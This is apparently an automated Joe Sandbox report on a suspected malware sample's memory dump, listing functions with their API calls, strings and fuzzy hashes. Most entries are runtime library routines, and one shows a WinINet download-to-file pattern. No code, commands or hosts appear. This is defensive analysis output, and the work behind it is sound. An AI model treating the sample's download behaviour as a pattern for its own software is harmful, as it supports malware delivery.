Opcode Fuzzy Hash: 839b4b351bf6c945c0862e4d773ac4b7de3af245d54bbf87a7b7601b5d036f59
Instruction Fuzzy Hash: 90815DB0A11A17BBD714EF74C849BD9FFA8BF58700F50431AE828A7281DBB4A554CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 0059249A Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 148windowCOMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 005924EA

Part of subcall function 0058C9A0: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 0058C9C1

Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00592503
Concurrency::location::_Assign.LIBCMT ref: 00592519
Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 00592586
Concurrency::details::SchedulerBase::ClearQuickCacheSlot.LIBCMT ref: 0059258E
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 005925B5
Concurrency::details::VirtualProcessor::EnsureAllTasksVisible.LIBCONCRT ref: 005925C1
Concurrency::details::SchedulerBase::VirtualProcessorIdle.LIBCONCRT ref: 005925F9
Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00592618
Concurrency::details::SchedulerBase::VirtualProcessorIdle.LIBCONCRT ref: 00592626
Concurrency::details::ReferenceCountedQuickBitSet::InterlockedClear.LIBCONCRT ref: 0059264D

Strings

3W, xrefs: 005924D5, 00592520, 005925E8, 00592607

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$ContextVirtual$Processor::QuickScheduler$ClearCountedEventIdleInterlockedProcessorReferenceSet::$AssignAvailableBlockedCacheConcurrency::location::_DeactivateEnsureInternalMakeSlotSpinTasksThrowTraceUntilVisible
String ID: 3W
API String ID: 3608406545-3302607274
Opcode ID: dd830db38ecb0463ca2edaa19ef20a1b9a2c6cd04e23d99a80d4d1458faf5a9c
Instruction ID: 6d0b8f8ba5511736bf4dd85bb7e9bd3eeb7b17ef18630cdcab0d0a059ed11a81
Opcode Fuzzy Hash: dd830db38ecb0463ca2edaa19ef20a1b9a2c6cd04e23d99a80d4d1458faf5a9c
Instruction Fuzzy Hash: 41517E307002059FDF04EF64C499BA97BA5BF89310F1905A9ED4A9F387CB74AD05CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 005862A2 Relevance: 19.7, APIs: 13, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::RetrieveSystemVersionInformation.LIBCONCRT ref: 005862B1

Part of subcall function 0058759D: GetVersionExW.KERNEL32(?), ref: 005875C1
Part of subcall function 0058759D: Concurrency::details::WinRT::Initialize.LIBCONCRT ref: 00587660

Concurrency::details::ResourceManager::CaptureProcessAffinity.LIBCONCRT ref: 005862C5
Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 005862E6
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 0058634F
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00586383

Part of subcall function 0058425D: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 0058427D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00586403

Part of subcall function 00585DCC: Concurrency::details::platform::__GetLogicalProcessorInformationEx.LIBCONCRT ref: 00585DE0

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 0058644B

Part of subcall function 00584232: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 0058424E

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 0058645F
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00586470
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 005864BD
Concurrency::details::ResourceManager::CaptureProcessAffinity.LIBCONCRT ref: 005864E2
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 005864EE

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Manager::Resource$Affinity$Apply$Restrictions$Information$Topology$CaptureProcessRestriction::Version$CleanupConcurrency::details::platform::__FindGroupInitializeLimitsLogicalProcessorRetrieveSystem
String ID:
API String ID: 4140532746-0
Opcode ID: 81783bf729e5f53e0fb159687692f4361b66a69a79c25fb879349a0773092d32
Instruction ID: 49c22f8c9fd63d0bdaae0d807a4a0cb2c184331655ea430fda7d0a2e8eb7eeb3
Opcode Fuzzy Hash: 81783bf729e5f53e0fb159687692f4361b66a69a79c25fb879349a0773092d32
Instruction Fuzzy Hash: BD81D471A046569FCF08EFA8E8959BDBFB6FB58304B64452DEC42B3250DB30AD48DB50

Uniqueness

Uniqueness Score: -1.00%

Function 0057FEC2 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 138threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0057FEEA
GetCurrentThreadId.KERNEL32 ref: 0057FF07
GetCurrentThreadId.KERNEL32 ref: 0057FF1C
_xtime_get.LIBCPMT ref: 0057FF68
GetCurrentThreadId.KERNEL32 ref: 0057FF9A
__Xtime_diff_to_millis2.LIBCPMT ref: 0057FFB2
_xtime_get.LIBCPMT ref: 0057FFD1
GetCurrentThreadId.KERNEL32 ref: 0057FFDB
GetCurrentThreadId.KERNEL32 ref: 00580032

Strings

3W, xrefs: 0057FEFC, 0057FF32, 0057FFBC, 0057FFEE
y0V, xrefs: 0057FF62, 0057FFAB, 0057FFCB, 0057FF67, 0057FFAE, 0057FFD0

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: CurrentThread$_xtime_get$Xtime_diff_to_millis2
String ID: 3W$y0V
API String ID: 3943753294-2015451849
Opcode ID: 115ab0917881072144c31849b10dd34c6ffb4d16227106a79211979e73ecb506
Instruction ID: e955fb57da156bc301b78f7363fe9d0b1ccacd1b2b5229a3eea435a2b162caf1
Opcode Fuzzy Hash: 115ab0917881072144c31849b10dd34c6ffb4d16227106a79211979e73ecb506
Instruction Fuzzy Hash: 76518230900205DFCF61EF64D989A697BF0FF15310B25856AE80AEB296DB30ED85DF51

Uniqueness

Uniqueness Score: -1.00%

Function 0059E6BB Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0059E6D1

Part of subcall function 0059E175: HeapFree.KERNEL32(00000000,00000000,?,005A299E,?,00000000,?,?,?,005A29C5,?,00000007,?,?,005A2DC7,?), ref: 0059E18B
Part of subcall function 0059E175: GetLastError.KERNEL32(?,?,005A299E,?,00000000,?,?,?,005A29C5,?,00000007,?,?,005A2DC7,?,?), ref: 0059E19D

_free.LIBCMT ref: 0059E6DD
_free.LIBCMT ref: 0059E6E8
_free.LIBCMT ref: 0059E6F3
_free.LIBCMT ref: 0059E6FE
_free.LIBCMT ref: 0059E709
_free.LIBCMT ref: 0059E714
_free.LIBCMT ref: 0059E71F
_free.LIBCMT ref: 0059E72A
_free.LIBCMT ref: 0059E738

Strings

(q[, xrefs: 0059E6C8

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID: (q[
API String ID: 776569668-58855041
Opcode ID: fd0e28759b0bbcbab73ff3ecbf856b9dc4bb7b87e70abd9e679b9d933b74987f
Instruction ID: 4f2d60a38e1023dffe6558ca69f8d81f1eacf20d80af7b30046d73465a563ca7
Opcode Fuzzy Hash: fd0e28759b0bbcbab73ff3ecbf856b9dc4bb7b87e70abd9e679b9d933b74987f
Instruction Fuzzy Hash: 1F218576900109BFCF41EF94C886DDE7FB9BF48780B0545A6B5159B121DB32EA54DB80

Uniqueness

Uniqueness Score: -1.00%

Function 005834E1 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 60libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00000000,00000000,?,?,?,00587657), ref: 005834EF
GetProcAddress.KERNEL32(00000000,SetThreadGroupAffinity), ref: 005834FD
GetProcAddress.KERNEL32(00000000,GetThreadGroupAffinity), ref: 0058350B
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumberEx), ref: 00583539
GetLastError.KERNEL32(?,?,?,00587657), ref: 00583554
GetLastError.KERNEL32(?,?,?,00587657), ref: 00583560
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00583576

Strings

GetCurrentProcessorNumberEx, xrefs: 0058352E
kernel32.dll, xrefs: 005834EA
SetThreadGroupAffinity, xrefs: 005834F7
GetThreadGroupAffinity, xrefs: 00583503

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorLast$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorHandleModule
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 1654681794-465693683
Opcode ID: 01b24377ef868a3c95445664144dd78c80e6f8736d2107477c5102c5283796c6
Instruction ID: 21583d3a30d945ae5023adad4689058089e9228d2d9f7808888f1c8a66fd4295
Opcode Fuzzy Hash: 01b24377ef868a3c95445664144dd78c80e6f8736d2107477c5102c5283796c6
Instruction Fuzzy Hash: 03012B71604715AFD7147BB8AC8EEAB3FDCFA50F40710052AB901F1152FE64E9089B60

Uniqueness

Uniqueness Score: -1.00%

Function 00598D15 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00598E10
type_info::operator==.LIBVCRUNTIME ref: 00598E37
___TypeMatch.LIBVCRUNTIME ref: 00598F43
CatchIt.LIBVCRUNTIME ref: 00598F98
IsInExceptionSpec.LIBVCRUNTIME ref: 0059901E
_UnwindNestedFrames.LIBCMT ref: 005990A5
CallUnexpected.LIBVCRUNTIME ref: 005990C0

Strings

csm, xrefs: 00598DBD
csm, xrefs: 00598D50
csm, xrefs: 00598E6E

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4234981820-393685449
Opcode ID: f7b15417f44e7548a2e560e35773dd2bd0a069f11ca436b0ad695edee5753989
Instruction ID: f4c0694de478b0b9b694fa0f40a68426d473a73c126ab87a25916daa4daec41c
Opcode Fuzzy Hash: f7b15417f44e7548a2e560e35773dd2bd0a069f11ca436b0ad695edee5753989
Instruction Fuzzy Hash: 3EC17A71C0020ADFCF25DFA9C8899AEBFB9FF59310F04455AE8256B242DB31DA51CB91

Uniqueness

Uniqueness Score: -1.00%

Function 005963DE Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 005963F0

Part of subcall function 00595F4F: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00595F72

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00596411
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 0059641E
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 0059646C
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00596514
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00596546

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 52770835e3110bc04c52b7ce1266f64a0d6aaeff668f73dc538df8ac12a3708d
Instruction ID: a6989608e9031856242e3be3c0e119861ddb2a190aa1f163ab5522046108e87e
Opcode Fuzzy Hash: 52770835e3110bc04c52b7ce1266f64a0d6aaeff668f73dc538df8ac12a3708d
Instruction Fuzzy Hash: 7371BE7090024AAFDF16DFA4C984ABE7FB6BF85304F044098EC456B252D736DD19DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0058ADD5 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 80threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 0058AE21
SwitchToThread.KERNEL32(?), ref: 0058AE44
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 0058AE63
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 0058AE7F
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 0058AE8A
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0058AEB1

Strings

ppVirtualProcessorRoots, xrefs: 0058AEA9
3W, xrefs: 0058AE10, 0058AE55
count, xrefs: 0058ADEF

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementSwitchThreadstd::invalid_argument::invalid_argument
String ID: 3W$count$ppVirtualProcessorRoots
API String ID: 3791123369-4184174232
Opcode ID: d2fe1b04b949d5f6ed92678dead72ac0dbba378389ebbea15789fe46bcd3a70b
Instruction ID: d2095e371b637e9ff34aa3174268eff7ec86db2ddd09ca1a70c38b4beb135ec9
Opcode Fuzzy Hash: d2fe1b04b949d5f6ed92678dead72ac0dbba378389ebbea15789fe46bcd3a70b
Instruction Fuzzy Hash: 9A216F34A00209AFDF04EFA4C489AAEBFB9BF45350F1448A9E905A7251DB30AE44CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0056AF3C Relevance: 15.2, APIs: 10, Instructions: 219networkfileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0056AF8C
InternetOpenA.WININET(005BC1BB,00000000,00000000,00000000,00000000), ref: 0056AFA2
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0056AFC2
InternetReadFile.WININET(00000000,00000000,?,?), ref: 0056AFD3
WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 0056AFF5
InternetReadFile.WININET(00000000,00000000,?,?), ref: 0056B000
CloseHandle.KERNEL32(?), ref: 0056B012
InternetCloseHandle.WININET(?), ref: 0056B021
InternetCloseHandle.WININET(00000000), ref: 0056B024
RemoveDirectoryA.KERNEL32(00000000,?,?,?), ref: 0056B0DD

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Internet$File$CloseHandle$OpenRead$CreateDirectoryRemoveWrite
String ID:
API String ID: 1496009958-0
Opcode ID: be59553084e7e51e0794f8f1948ee5e28fa03c04f9ced8bc3ebd9143be6f2985
Instruction ID: 3b77657428d6f2ab7b8d4d0d91cbc6619f62931241468eb9c91baf07cc3cb28c
Opcode Fuzzy Hash: be59553084e7e51e0794f8f1948ee5e28fa03c04f9ced8bc3ebd9143be6f2985
Instruction Fuzzy Hash: 1371D171A00209ABEF14DF64CC99BAE7F69FB85300F204618F915EB1D2D735E984CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0058A44B Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 0058A490
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 0058A4C2
List.LIBCONCRT ref: 0058A4FD
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 0058A50E
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 0058A52A
List.LIBCONCRT ref: 0058A565
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 0058A576
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 0058A591
List.LIBCONCRT ref: 0058A5CC
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 0058A5D9

Part of subcall function 00589950: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00589968
Part of subcall function 00589950: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 0058997A

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 28269a52f844bd6b0bb11319d7da6b153bd69c826bd19e1cc5584f753a31954b
Instruction ID: 739f813737132d927712820cb3b4b1537aae5397dacdb0db091f15db41258f12
Opcode Fuzzy Hash: 28269a52f844bd6b0bb11319d7da6b153bd69c826bd19e1cc5584f753a31954b
Instruction Fuzzy Hash: 9E512D71A00219ABEF04EF54C599BEDBBA8FF48304F444469ED05AB281DB70EE45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00592220 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00592248

Part of subcall function 00591FB5: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00591FE8
Part of subcall function 00591FB5: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0059200A

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 005922C5
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 005922D1
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 005922E0
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 005922EA
Concurrency::location::_Assign.LIBCMT ref: 0059231E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00592326

Strings

3W, xrefs: 00592276, 005922B2, 0059233A

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID: 3W
API String ID: 1924466884-3302607274
Opcode ID: 1dc8fab28654a8caca1648b7ca93e8d6d7fd79652a74ce1c85692ee0d3447aff
Instruction ID: e2b86af945aeee03aed701f8fba5fb9cf5fe8f4971402bec97448a1683a98547
Opcode Fuzzy Hash: 1dc8fab28654a8caca1648b7ca93e8d6d7fd79652a74ce1c85692ee0d3447aff
Instruction Fuzzy Hash: AC411D75A00215EFCF05EF64C484AADBBA9FF88310F1485A9DD45AB346D734A941CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0058A88D Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 0058A8A7
GetCurrentProcess.KERNEL32 ref: 0058A8AF
DuplicateHandle.KERNEL32(00000000,000000FF,00000000,00000000,00000000,00000000,00000002), ref: 0058A8C4
SafeRWList.LIBCONCRT ref: 0058A8E4

Part of subcall function 005888DF: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 005888F0
Part of subcall function 005888DF: List.LIBCMT ref: 005888FA

std::invalid_argument::invalid_argument.LIBCONCRT ref: 0058A8F6
GetLastError.KERNEL32 ref: 0058A905
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0058A91B

Strings

eventObject, xrefs: 0058A8EE

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

